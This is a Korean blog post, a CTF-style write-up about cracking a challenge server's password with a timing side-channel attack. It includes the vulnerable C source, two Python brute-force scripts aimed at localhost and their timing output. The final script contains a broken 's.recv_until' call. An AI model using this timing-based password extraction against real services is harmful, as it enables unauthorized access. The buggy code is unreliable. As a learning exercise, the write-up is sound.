나도 해본다, 타이밍 어택!

By choirish | October 7, 2016

나도 해본다, 타이밍 어택! (feat. Side Channel Attack)





안녕하세요 쿄쿄 다시 만나게 되어 반가워요 ㅎㅎ
오늘은 제가 이틀을 탈탈 털어 삽질을 겁나게 한 이야기를 들려드릴 거에요 >. <
제 특기 중 하나가…. 삽질이거든요 흙흙




하… 삽질은 항상 지나고 보면, 아 정말 별 거 아닌데 내가 왜 이렇게 헤맨 건가… 자책의 늪에 빠지게 됩니다 ㅠㅠ 다행히 지금은 삽질을 끝내고 며칠이 지나서 마음이 평안한 상태이니…!!

분노하지 않고 침착하게 설명을 한번 해보겠숨니돠 ㅎㅎㅎㅎㅎ (과연 ㅋㅋ)

자 그럼 이 삽질이 어디서부터 시작되었나… 되짚어보면 하핳
배후에는 역시나….. passket님이 뙇뙇! 계셨지요…..



쉴 때도 쉬지말고 공부하렴 그게 너를 이롭게 할것이다 하시며… 급 문제를 던져주시는 게 아니겠습니까???

으아앙 너무해!!! 하고 투정을 부리다가도…….. 이게 다~~~~ 저희를 위하는 일이시겠지 하고 깊은 뜻을 헤아려보려고…..합니다 하하핳




무튼 그래서 그 문제는 흠…….
바로!! 타이밍 어택을 이용하여 해결하는 문제였습니다 o0o!!!

들어본 적이 있는 것 같으면서도 또 낯설고 신기한 방법이어서!!
그리고 가장 중요한 건 제가 한 삽질이 아까워서…..ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 소개해드리고 싶었어요 ㅎㅎㅎ

근데 사실 또 타이밍 어택이 처음 등장한 것이 1996년이라고 하니 벌써 20년이나 지났고…
CTF에 가끔 문제로 출제되는 정도쯤 되려나, 현실에서는 아직까지 활용성이 떨어진다고 하더군요…. 흠 ㅠㅠ

그래서… 이미 알고 있는 사람도 천지빼까리로 많을 것이고… 에이 별로 필요 없을 거 같은데 왜 함?? 이럴 수 있숨돠;;

그래도!!!!!!!!!!!!!!! 소개할래요!!!!!!!!!!!!!!!! ㅋㅋㅋㅋㅋㅋㅋㅋㅋ

왜냐???
저는 나름 재미있게 풀었고…!!! 문제 풀면서 삽질한 것들을 함께 나누고픈게!!!
또 저의 소소한 바람이 아니겠습니까??? 캬캬캬캬캬컄

에이 그리고 또 아나요~ CTF에 몇 번 더 출제될지~ 그럼 제 글이 널리널리 도움이 될 수 있겠지요 캬캬캬캬캬컄 설렌당 제발 또 나와랏!!!!!!!

무튼 그리하여! 타이밍 어택을 접하게 된 썰을 마치고오오! 이야기를 시작해봅시다 ㅎㅎ

먼저 타이밍 어택은 부채널 공격(Side Channel Attack)의 한 종류입니다. 즉 부채널 공격에 포함된 개념이라고 할 수 있죠! 그렇다면 부채널 공격이 뭔지부터 알아봅시다!!!




[ 개념 알기 ] 부채널 공격이 무엇인가요??

구글에 side channel attack 이라고 검색을 했더니 다양한 학술자료와 글들이 뙇! 하지만 대부분이 영어! ‘ㅁ’;;;

필요하신 분들은 영어자료를 뒤적뒤적하면 더 많은 정보를 얻을 수 있을 거에요 ㅎㅎㅎㅎㅎㅎㅎㅎ

우리는??! 살짜쿵 ‘아 이런 거구나~’ 알고 스윽 넘어갈 거니까 어여쁜 한글로 쓰여진 위키 백과를 보기로해요!

캬캬 위키에서 핵심을 뽑아보면 다음과 같아요.


부채널 공격은 암호 체계가 물리적으로 구현될 때 소요되는 시간, 소비하는 전력, 방출하는 전자기파, 소리 등을 분석하여 추가적인 정보를 얻을 수 있는 공격 방법이다!!!! 예를 들어 소요 시간 분석 공격에서는, 하드웨어에서 암호화나 알고리즘을 수행하는 동안 CPU나 메모리의 데이터가 이동하는 시간을 측정한다. 단순히 암호화 작업을 하는 데 걸리는 시간을 측정하여 전체 비밀키가 무엇인지 알아낼 수도 있다…..?!!! WoW (이거 우리가 해볼 거에요 헿)


Side Channel Attack….에서 Side Channel이라 함은 옆에 있는 통로!입니다.

즉, 부채널 공격은 암호 체계를 파악하기 위해 암호 알고리즘을 분석하는 등의 정통 방법 대신에 시간!?! 전력!?! 전자기파!?! 같은 부수적인 요소들을 이용하는 것이지요!

와 저는 이걸 처음 들었을 때 너무 신박했어요…. 메모리를 뜯어보고, 소스코드를 분석하는 등의 일반적인 해킹 방법과는 뭔가 다르잖아요!! 이걸 할 땐 이 방법만 써야돼! 라는 고정관념을 깨고 새로운 시도를 한 느낌!! 하 멋지당 크으

그리고 이미 밝혀진 공격 방법들을 보면 꽤 다양한 Side Channel이 존재합니다.


※ Side Channel Attack의 종류 ※

  • 소요 시간 분석(Timing attack) — 다양한 계산을 하는 데 소요되는 시간을 측정하는 것을 기반으로 하는 공격
  • 전력 모니터링 공격(Power analysis) — 연산 중에 하드웨어가 소비하고 있는 전력 변화를 측정하는 것을 기반으로 하는 공격
  • 전자기파 공격(Electromagnetic attacks) — 하드웨어 외부로 방출하는 전자기파를 해독하여 평문 및 여러 정보를 얻어낼 수 있는 공격
  • 음성 암호 해독(Acoustic cryptanalysis) — 연산 중에 하드웨어가 생성한 음향을 측정하여 이를 악용하는 공격 (전력 분석과 비슷하다-)
  • 차분 오류 분석(Differential fault analysis) — 계산 과정에 의도적으로 오류를 끼워 넣어 암호를 발견하는 공격
  • 잔존 데이터(Data remanence) — 삭제된 것으로 추정된 민감한 데이터를 읽는 공격
  • 로우 해머 공격(Row hammer) — 인접한 메모리 영역에 액세스하는 형태로 접근 금지된 메모리 영역을 수정하는 공격

출처 : wikipedia 부채널공격


오홍홍홍홍홍 이 중에서 우리는 소요 시간 분석!! Timing attack!!!을 해보도록 하겠습니다 ㅎㅎㅎㅎ 바로 기기할게영 GoGo!!




[ 문제 들여다보기 ] 주어진 건 src.c 단 하나!!


하 ㅋㅋㅋㅋㅋㅋㅋㅋ 문제 이름도… 이름하야 src.c!!! src!!!! source?!!! ㅋㅋㅋㅋㅋ 귀찮으셨나봐요… 소스코드를 던져주는 문제라서… 그냥 소스코드이름을 src로 지어서 주셨나봅니닼ㅋㅋㅋ (사스가 passket님…헤헤)

src.c라는 C파일 하나와 함께, 리모트로 접속할 서버 주소만 덜렁 주어졌어염….

바이너리를 던져주신 것도 아니고 소스코드를 아예 뙇! 처음부터 보여 주시길래… 첨엔 엇?! 좋은데?? 설렜으나…
컴초보/해킹초보인 저는 사용된 함수를 하나하나 찔러보며 이게 취약점인가 저게 취약점인가 실컷 헤매고 있었다지요….ㅋㅋㅋ

그럼 src.c를 한번 구경해봅시다 ㅎㅎ


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
 
// 실제 문제 서버에서 돌아가고 있는 프로그램의
// 소스코드에는 진짜 패스워드가 박혀있겠죠??!
unsigned char passwd[] = "******************";          
 
unsigned char encrypt( char t, unsigned int key )
{
    unsigned int i;
    unsigned int j;
    unsigned char retval = 0x00;
 
        // *****KEY POINT1*****
    for( j = 0; j < 0x100; j ++ ) {
        for( i = 0; i < 0x31337; i ++ ) {
 
            retval = ( t ^ (key+i) );
            retval = j ^ retval;
 
        }
    }
 
    return retval;
}
 
int is_passwd( unsigned char *str )
{
    FILE *fp = NULL;
 
    unsigned int len = sizeof( passwd );
    unsigned int i;
    unsigned int key;
 
    fp = fopen( "/dev/urandom", "r" );
 
    if( fp == NULL ) {
        printf( "error" );
        exit( 0 );
    }
 
    fscanf( fp, "%d", &key );
    fclose( fp );
 
    for( i = 0; i < (len-1); i++ ){
 
                // *****KEY POINT2*****
        if( encrypt( str[i], key ) != encrypt( passwd[i], key ) )
            return 0;
    }
 
    return 1;
}
 
int main( int argc, char *argv[] )
{
 
    char buf[1024];
    memset( buf, 0x00, 1024 );
    fgets( buf, 1024, stdin );
 
    if( is_passwd( buf ) == 1 ) {
        printf( "password ok\n" );
        system( "cat flag" );
    }
    else {
        printf( "password invalid\n" );
    }
 
    return 0;
}


세 개의 함수로 이루어져있습니다.


  1. encrypt : key값과 XOR하여 char형 문자를 암호화합니다.
  2. is_passwd : 입력받은 문자열이 패스워드와 일치하는지 검사합니다.
  3. main : 사용자로부터 문자열을 입력받고, 패스워드 일치 여부를 출력합니다.


여기서 제가 주석으로 표시한 KEY POINT!! 2가지를 설명드릴게요!!
타이밍 어택을 할 수 있는 근거가 되는 아~주 중요한 포인트입니다항!!!


# Key Point 1

encrypt 함수에서 문자 하나를 암호화하는데 for문을 정말 많이 돕니다!!! 무려 i가 0x31337!!! j가 0x100(=256), i가 0x31337(=201527)니까 문자 하나에 for문을 총 51590912번이나 도는 것입니다 ㄷㄷㄷㄷㄷㄷㄷ;;;; (이게 어떤 의미를 갖는지는 첨에 1도 몰랐지만… 딱 봐도 너무 많이 돌아서 좀 수상쩍습니다 그죠?!!)


# key Point 2

is passwd 함수에서 문자열을 비교할 때, 전체를 한꺼번에 비교하지 않고!!! 한 글자씩 비교하고, 하나라도 틀리면 바로 for문을 빠져 나오는 것입니다!!


이게 왜 타이밍 어택을 할 수 있는 근거가 되느냐?????!!


KEY POINT 두 가지를 종합하면


패스워드 비교 구문에서 한 글자씩 비교를 하고! 문자 하나를 비교할 때 encrypt 함수를 실행하는 시간이 꽤나 걸리므로므로므로!!
패스워드를 비교하는 데 걸리는 시간을 측정하면, 입력한 값이 패스워드와 3글자 일치할 때랑 4글자 일치할 때랑 응답이 오는 데 걸린 시간에 차이가 난다는 것!!!!!!
즉, 입력가능한 문자를 하나씩 다 대입해보고 가장 오랜 시간이 걸린 문자를 올바른 문자로 예측할 수 있따 WOWOWOWOW!


예를 들어 올바른 패스워드가 abcd라고 할 때, a를 입력하면 3초가 걸리고, b,c, … , 1,2, …등 나머지는 대략 1.5초가 걸렸다고 하자.
a가 첫 번째 글자가 맞으니까, 두 번째 글자를 비교하는 단계까지 넘어갔으므로! 다른 문자보다 2배의 시간이 걸린 것이다!!

그럼 첫 글자를 맞췄으니 다음은 aa를 입력하면 3초가 걸리고, ab를 입력했더니 4.5초가 걸리고, ac,ad,ae, … , a1, … , a%, …등 나머지는 3초가 걸렸다.
ab가 가장 오랜 시간이 걸렸으니 두 번째 글자는 b구나! 예상할 수 있다.

세 번째까지만 더 설명해보면, aba,abb는 4.5초가 걸리고, abc는 6초가 걸렸다.
아항 세 번째 글자는 c구나!!! 알 수 있는 것이다. 하하하하하하핳 어때요 괜찮죠? 재밌죠? ㅎㅎ
(사실 실제 상황에서는 저렇게 딱 떨어져서 구분되게 시간이 측정되지 않아여… 시간(time)이 시스템 등의 영향을 받기 때문이졍… 흙)

헿… 또 친절병 도져가지고 주저리주저리 설명이 길어졌네요 ㅎㅎ

별 영양가는 없지만.. `제가 타이밍 어택을 이용한 문제임을 알기 전
멍청하게 이것저것 의심했던 걸 그냥 슉 적어보고 익스플로잇 짜기로 넘어갈게요 크크




해킹초보의 영양가없는 의심…흙

  • 어? encrypt 함수에서 for문을 저렇게 많이 도는데… 그러면 for문 하나 돌 때마다 값이 계속 바뀌어야 뭔가 의미 있을 것 같은데… 뭐야 retval += ( t ^ (key+i) );도 아니고?? n번째 for문이 n-1번째 for문의 영향을 전혀 받지 않는다!는 것을 깨닫게 됩니다…. (그냥 for문을 많이 돈다는 게 중요한 건데 이 때는 비효율적인 for문 발견에 눈이 삐어서 그런 건 생각 못함… 흙) 마구 의심하다 끝남… 그나마 이건 그래도 좀 1만큼 영양가 있었네요 ㅎ

  • 어? is_passwd 함수에서 urandom을 쓰네?? urandom 취약점이라는 거 막 나오던데 그거랑 관련이 있나?? 어어??…. 아 이거는 상관없네 흙 하고 끝남




[ 익스플로잇 짜기 YEAH!! ] 암 걸리는 타이밍 어택 테스트…..hA……….


하….. 화내지 않기로 했는데 익스 짰던 얘기하려고 하니까 또다시 그 때의 멘탈로 동기화되는 느낌이네여.. 또륵 참 힘들었지… 괜한 고집 피우다가 결국은 코드를 수정 또 수정했었지…. ㅎㅎㅎ

하나하나 세어본다면 더 많은 헛수고를 했을 테지만…. 아픈 기억이니까 과감히 무시하고!
우리는 타이밍 어택 어케 하는지가 중요한 거니깐!!!

가장 초기 익스플로잇(ex.py)을 같이 보면서 타이밍 어택 코드의 틀을 파악하고!!
실행 도중 발견한 문제점들을 개선해서 완성된 최종 익스플로잇(ex3.py)을 구경하도록 해여!!! 꺄륵

먼저 ex.py 입니다 >. <


ex.py


import time
from socket import *


IP = "localhost"
PORT = 9090

FoundedPasswd = ''
mytime = 0
imreal = 0

s = socket()
s.connect((IP, PORT))   # ⓐ

s.send("1\n")
s.recv(100)
s.close()

for y in range(20):
    for x in range(0x20, 0x80):
        s = socket()
        s.connect((IP,PORT))
        testStr = FoundedPasswd + chr(x)    # ⓑ
        stime = time.time()                 # ⓒ
        s.send(testStr+"\n")                # ⓓ
        data = s.recv(100)                  # ⓔ
        taketime = time.time() - stime      # ⓕ

        if data.find("ok") >= 0:            # ⓖ
            print FoundedPasswd
            exit()

        print chr(x), taketime

        if taketime >= mytime:              # ⓗ
            mytime = taketime
            imreal = x
        s.close()

    FoundedPasswd += chr(imreal)            # ⓘ
    print FoundedPasswd


ⓐ 테스트 결과, 첫 번째 소켓 연결에서 유난히 시간이 많이 걸리길래, 본격 패스워드 전송 이전에 임의로 소켓을 한 번 연결시켜준다.
ⓑ 이 때까지 찾은 패스워드에 x(0x20~0x80)를 하나씩 붙여 보내본다.
ⓒ 문자열 전송 전 시간을 기록한다.
ⓓ 문자열 전송!
ⓔ 결과 받아보기(예를 들면 password invalid 같은 메시지)
ⓕ 결과를 받는 데(패스워드 비교 구문을 실행하는 데) 걸린 시간을 측정한다.
ⓖ password ok 메시지가 오면, 이 때까지 찾은 패스워드를 출력하고 프로그램을 종료한다.
ⓗ 결과를 받는 데 가장 많은 시간이 걸린 문자 x를 imreal에 기록한다.
ⓘ 0x20부터 0x80까지 모두 테스트한 뒤 가장 많은 시간이 걸린 문자(imreal)를 올바른 패스워드에 하나씩 추가해간다.


기본적인 설명은 위의 흐릿한(?) 설명을 참고해주세요! ㅎㅎ

0x20부터 0x80까지 하나하나 다 걸린 시간을 측정하고 그 중에 가장 오랜 시간이 걸린 문자를 뽑아내는 아주 무식한 프로그램입니다 ㅋㅋ

그러면 무조건 0x20부터 0x80까지 for문을 다 돌아야 하니까… 시간 참 오래 걸리겠다 알 수 있습니다 흙ㅠ

이거 보면서 아 답답하다 한심하다 하시는 분들 분명 계실 텐데…. 흑 너무 구박하지마요ㅠㅠ

잘 돌아가면 되는 거 아닌가요… 제가 처음 생각한 알고리즘대로 테스트해보고 싶었다구요….. (이러다 결국은 대공사를 했다고 한다 ㅉㅉ)

첫 번째 문자를 찾을 때까지 실행한 결과입니다. (꽤나 김 ㄷㄷ)


choirish@bpsec:~$ python ex.py
  0.33686709404
! 0.297695875168
" 0.298133850098
# 0.455507993698
$ 0.559168100357
% 0.310474157333
& 0.292284965515
' 0.409909009933
( 0.579954147339 ★
) 0.318493127823
* 0.291043996811
+ 0.293975830078
, 0.293641090393
- 0.292958021164
. 0.294965028763
/ 0.293182849884
0 0.292376995087
1 0.296059846878
2 0.294631004333
3 0.295245170593
4 0.293648004532
5 0.292226076126
6 0.295857191086
7 0.46700501442
8 0.544723987579
9 0.302860021591
: 0.289949893951
; 0.293515205383
< 0.294636011124  
= 0.294658899307  
> 0.293132066727
? 0.296485900879
@ 0.294482946396
A 0.294102907181
B 0.29461979866
C 0.29554605484
D 0.292782068253
E 0.290623188019
F 0.294782161713
G 0.292266845703
H 0.291496992111
I 0.291394948959
J 0.293090105057
K 0.292927026749
L 0.293958187103
M 0.294003009796
N 0.29391002655
O 0.293576002121
P 0.298008918762
Q 0.291714191437
R 0.293894052505
S 0.291308164597
T 0.292918205261
U 0.292111873627
V 0.293088912964
W 0.295649051666
X 0.292715072632
Y 0.288421869278
Z 0.290283918381
[ 0.298097133636
\ 0.296694993973
] 0.294486999512
^ 0.294692993164
_ 0.293151855469
` 0.290028095245
a 0.288657903671
b 0.291762113571
c 0.288248062134
d 0.290009021759
e 0.292351007462
f 0.289780855179
g 0.291257143021
h 0.292412996292
i 0.290660858154
j 0.293552875519
k 0.296788930893
l 0.294332027435
m 0.291403055191
n 0.290961027145
o 0.290678977966
p 0.293973922729
q 0.294100046158
r 0.295956134796
s 0.296275854111
t 0.586187839508 ★
u 0.294059991837
v 0.290962934494
w 0.291066884995
x 0.288062095642
y 0.295590162277
z 0.296334981918
{ 0.296962976456
| 0.292363882065
} 0.292315006256
~ 0.295616865158                                                       
0.29517698288
t


자아 어때요? 특징을 발견하셨나요? 정리하면?


  1. 평균적으로 하나의 문자를 비교하는 데 0.3(0.29)초가 걸린다.
  2. 가장 오랜 시간(0.586초)이 걸린 t가 패스워드의 첫 글자로 선정되었다.
  3. 그런데………… (가 0.579초가 걸려 아슬아슬하게 패스워드 후보에서 탈락….된 것을 발견한다… ㄷㄷ


그리고 테스트를 계속 진행하다 보면…
결국은 ( 처럼 돌발적으로 오랜 시간이 걸리는 놈들 이 진짜 패스워드를 이기고!!!ㅇ0ㅇ!
엉뚱한 문자가 올바른 패스워드라며 선정되는 경우가 생깁니다……..

아마도 “시간”이라는 요소 자체가 시스템 등 여러 가지에 영향을 받을 수 있는 예민한 아이이기 때문인 것 같습니다.

매번 돌발문자가 있는 건 아니니까… “제발 돌발 문자가 없었으면!!”하고 간절히 바라며 익스플로잇을 처음부터 실행 또 실행하였는데요….
10번째 문자까지 잘 패스워드 뽑아내다가도 결국은 ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ 돌발놈이 이기게 되더라구요 망할!!!!!!!!!!!!!!
그렇게 제 프로그램을 믿어주려고 고집 피우다 테스트하는데 몇 시간을 소모하고…

돌발!돌발!을 해결하기 위해 소스코드를 수정해보라는 조언을 받아들입니다 ㅋㅋㅋㅋ 하… 나란 여자 똥고집… 진작 받아들이지 ㅠㅠ

아 그리고 0x80이 되기 전에 패스워드인 문자가 나타날 가능성이 큰데 매번 0x20부터 0x80까지 모~~~~두 검사하는 방식도 함께 수정하기로 합니다…
시간이 넘나 오래 걸려서 속이 터질 것 같았거든요 ㄷㄷ

해결 아이디어는 이렇슴돠!


[ 아이디어1 ] 하나의 문자를 한 번만 보내지 말고! 똑같은 문자를 서버에 일곱 번 보낸다.

그리고 일곱 번 테스트 하는 데 걸린 시간이 가장 많이 걸린 문자를 올바른 패스워드로! 선정하는 것이다. 즉 올바른 패스워드는 일곱 번 모두 일정 시간 보다 많이 걸릴 것이다. 하지만 돌발 놈은 일곱 번 모두 똑같은 문자가 돌발을 일으킬 가능성은 극히 적으니까!!! 한두 번 돌발한다고 진짜 패스워드를 이길 순 없을 거다!! 와우!! (사실 첨엔 10번 했다가 넘 오래 걸려서 5번으로 고치고…. 근데 5번은 돌발이 이기는 놈이 있었다 ㄷㄷㄷㄷㄷㄷ!! 그래서 절충안 7번! 헿)


[ 아이디어2 ] for문을 도는 중, 문자를 비교하는 데 특정 시간보다 시간이 오래 걸려서 패스워드가 틀림없다! 하는 놈이 발견되면 바로 선정하고 for문을 빠져 나온다.

하나의 문자를 비교하는 데 걸리는 시간은 0.3초임을 알아냈다. 그럼 실제 패스워드가 password인데, 현재 passw까지 알아냈다고 하자. 그럼 이제 passw!, passw@, … 를 보내면서 여섯 번째 문자를 찾아야 한다. passw!같은 틀린 녀석들은 !(6번째 문자)까지 비교하고 종료되니까 대략 0.3*6=1.8초가 걸릴 것으로 예상된다. 하지만 passwo를 보내면!! 6번째까지 맞았으니까 7번째 비교문까지 넘어갈 것이다!!(흠 이해가 잘 되셔야 할텐데…!!) 그러므로 2.1초가 걸린다. 해결 아이디어 1번에서 같은 문자를 일곱 번 테스트하는 데 걸린 시간을 비교한다고 했으니까 o를 보냈을 때 2.1*7=14.7초 이상이 걸린다면?? 어! 얘는 돌발로 14.7초까지 걸릴 순 없어! 진짜 패스워드군! 하고 다음 문자들(ex : passwp, passwq, … )은 테스트하지 않는 것이다.


[ 아이디어3 ] 문자를 비교하는 데 걸린 시간을 측정했더니 얘는 절대 패스워드가 아니다!하는 놈이 발견되면 7번 테스트도 할 필요없이 바로 그만둔다.

2번의 예를 다시 들고 오면, passw!를 보냈는데 1.8초 이하로 걸렸다고 하자… 그럼 얘는 돌발도 아니고! 일곱번째 문자열 비교까지 가지도 못한 거니까! 절대!!! 패스워드가 아니군! 하고 예상할 수 있다. 그럼 과감히 테스트를 중단! 다음 문자 테스트로 넘어가면 되는 것이다. 일곱 번이나 돌 것을 한 번이나 두 번(돌발이 한번쯤 발생 시)만 돌고 끝나는 거니까 시간 절약 개이득!!!


최대한 풀어서 설명한다고 했는데…. 혹 이해가 어려우시다면 음 제가 처음에 abcd로 설명한 타이밍 어택의 기본 원리를 다시 찬찬히 파악하신 후 읽어보시길! 그런 다음엔 부디 이해가 되시길!! (제발 ㅎㅎ)

그럼 1번, 2번 아이디어를 반영하여 완성된!!!!!!!! 영롱한 최종 익스플로잇 코드를 보실까염??? ex3.py입니다 크크




ex3.py


import time
from socket import *

IP = "localhost"
PORT = 9090

FoundedPasswd = ''
mytime = 0
imreal = 0
sumtime = 0

s = socket()
s.connect((IP, PORT))
s.send("1\n")
s.recv(100)
s.close()

def recv_until(s, string):
    result = ''
    while string not in result:
        result += s.recv(1)
    return result

for y in range(20):
        for x in range(0x20, 0x80):
                sumtime = 0
                '''해결 아이디어1 - 돌발 놈을 막아내자!!'''
                for z in range(0,7):     
                        s = socket()
                        s.connect((IP,PORT))
                        testStr = FoundedPasswd + chr(x)
                        stime = time.time()
                        s.send(testStr+"\n")          
                        data = s.recv_until(s,"password ")
                        taketime = time.time() - stime

                        if data.find("flag") >= 0:
                                FoundedPasswd += chr(x)
                                print "Success!!", FoundedPasswd
                                exit()

                        '''해결 아이디어3 - 불필요한 시간 소모 방지!!'''
                        if taketime <= 0.3*(y+1):     
                                break

                        sumtime += taketime
                        s.close()

                print chr(x), sumtime 

                if sumtime >= mytime:
                        mytime = sumtime
                        imreal = x

                '''해결 아이디어2 - 패스워드가 확실해!! 싶으면 여기까지만! 
                   (2.04≒0.29*7)'''
                if sumtime >= (y+2)*2.04:     
                        break

        FoundedPasswd += chr(imreal)
        print FoundedPasswd


wowowowowo!!! 끄읕끄읕이네요 ㅎㅎㅎㅎ 은근 이해가 필요한 과정들이었는데 잘 따라오셨지요? ㅎㅎ
그럼 익스플로잇 코드가 성공적으로 샥샥샥 잘 돌아가는 지 함께 보아요 >. <

ex3.py 실해애애애앵!!



오홍홍 가끔 튀는 녀석들이 뙇뙇 보입니다 ㅎㅎㅎ <는 꽤나 많이…. 돌발돌발!! 했네요…. 원래 7번 정상적으로 실행되면 약 2.1초 정도가 나와야하는데….
얘는 무려 2.9…?!! 매번 0.3초보다 좀 더 걸리고, 돌발도 두어번 있었겠다 예상되네요 ㄷㄷㄷㄷ
아이디어1이 빛나는 순간입니다 캬캬캬캬

7번 중 첫 번째 실행에서 0.3초 이하로 나온 아이들은 0으로 뙇 표시가 돼요!! 얘는 절대 패스워드에 해당하는 문자가 아니군!!!!!!!!하고 바로 빼버린거죠 헿 아이디어3이 빛나는 순간입니다 > ㅅ< 킼킼

요로코롬 0x20부터 0x80까지의 문자들을 주우우욱 테스트하다보면….?!!!



패스워드의 첫 번째 글자가 뙇뙇!!!!! 바로바로 t입니다!! ㅎㅎㅎㅎㅎ
t가 4.1초가 걸리자마자 바로 패스워드의 첫 번째 글자는 t야!! 하면서 출력해줍니다 아이디어2가 빛나는 순간입니다 꺄르르르르르르르륵 넘나 뿌듯한 것! ㅎㅎㅎ

그럼 왜 4.1초가 걸렸는지 다시 한번 따져볼까요?

t는 패스워드에 해당하는 문자입니다! 그래서 우리가 t를 src 프로그램에 전송하면!!?
src 프로그램이 “어? 첫 번째 글자는 맞았네? 그럼 두 번째 글자도 비교해보자!” 하면서 “한번 더” 비교구문을 도는 것입니다. ㅎㅎㅎㅎㅎㅎㅎㅎㅎ 즉 t를 전송했을 때 비교구문이 돌아가는 시간은 0.29*2=0.58초가 되는 것이지요!! ㅇ0ㅇ!!

그걸 총 7번 실행하니까!! t를 7번 전송했을 때 걸린 시간을 모두 합하면 대략 0.58*7=4.06초!!!
4.1초가 뙇뙇 나온게 이해가 되시져? ㅋㅋㅋ

그래서 돌발!행동을 하는 문자가 7번 모두 원래 실행 시간(0.3초)보다 두 배 이상의 시간이 걸려야만 진짜 놈을 이길 수 있는 것인데…………. 그건 사실상 불가~ ㅎㅎㅎㅎㅎㅎ 7번 실행하는 아이디어 베리 굳굳!! ㅎㅎㅎ

요로코롬….. 쥬르르르르륵 다 돌리다 보면 패스워드 문자열이 챡챡 완성이 되고!
성공 메시지가 뙇뙇 떠욧 ㅎㅎㅎㅎㅎㅎㅎ 예헤이~



패스워드가 this is password!@#!인데
끝에 있는 특수 기호들은 0x20~0x40 구간에 있기 때문에 0x80까지 다 검사하기 전에 테스트 loop를 빠져나올 수 있어서!!!
막바지에는 시간을 더 단축시키고 빨리 패스워드를 뙇뙇!! 뽑아낼 수 있었네요 ㅎㅎㅎㅎ

마지막이니까 삽질 여담을 하나 덧붙이자면……..흐흐

익스플로잇 코드에서 패스워드가 모두 완성되었는 지 확인하는 부분을 다시 보겠습니다.


if data.find("flag") >= 0:
    FoundedPasswd += chr(x)
    print "Success!!", FoundedPasswd
    exit()


문제 서버 측에서 보내온 data에 flag라는 문자열이 있으면 “Success!!”와 완성된 패스워드를 출력해주기로 했어요!!
근데… 상식적으로 생각해보면 src.c 코드에서 패스워드가 맞으면 “Password ok”가 뜨고 cat flag를 실행하니까…
문제 서버에서 “flag”라는 문자열이 꼭 전송되지는 않을 거잖아요….? 근데 전 왜 이렇게 한거죠?

하… ㅎㅎㅎ 저도 첨엔 if data.find(“ok”)>=0;으로 코드를 짰습니다. 근데….. this is password!@#! 까지 다 찾았는데도 테스트가 끝나지 않고 계속 돌아가는 겁니다 뚜둔;;;;
즉, 서버에서 ok라는 메시지를 안 보내줬다는 거에요 ㄷㄷㄷ
그래서 서버가 뭐라고 메시지를 보내나 s.recv(100)(소켓 통신에서 100바이트만큼의 값을 받아온다.)를 해줬더니…

아니 글쎄 cat: flag: No such file or directory라는 메시지가 오는 거에요;;;;;; ㄷㄷ??
ㅎㅎㅎ… passket님… 문제 내주시면서 왜 flag는 만들어 주지 않으신 거에요….ㅠㅠㅠㅠ
설마…………….? 이것도 저의 삽질을 유도한 고도의…..훼이크???! ㅂㄷㅂㄷ (설마요..ㅋㅋㅋㅋㅋㅋ)

그래서 ok대신에 flag를 찾도록 코드를 바꿔주고!! 에이 그럼 난 패스워드 다 찾았네~ 끝났네~ 하면서 혼자 “Success!!” 출력해주라며 자축한거에요 헿





끄읕~~~진짜끝!! 끝!! 문제 뽀개기 끝!! ㅎㅎㅎㅎㅎ




[ 마무으리 ]

마무으리 다 귀춘… 문제푸느라 힘들었던 시간들이 필름처럼 스쳐가고(ㅋㅋㅋ)….
롸이트업도 대충 써놨었는데… 이리 다시 쓰려니 넘나 힘들었고… 지침 ㅋㅋ 빨리 끝내야지

여러분 타이밍 어택 어떠셨나요
주저리 설명에 더 혼돈의 카오스가 되신 건 아니신지요 ㅎㅎㅎ

다음에 부디…… 더 재미있는 문제 풀기로 찾아오겠숨돠!!!!
다들 안뇨옹~

comments powered by Disqus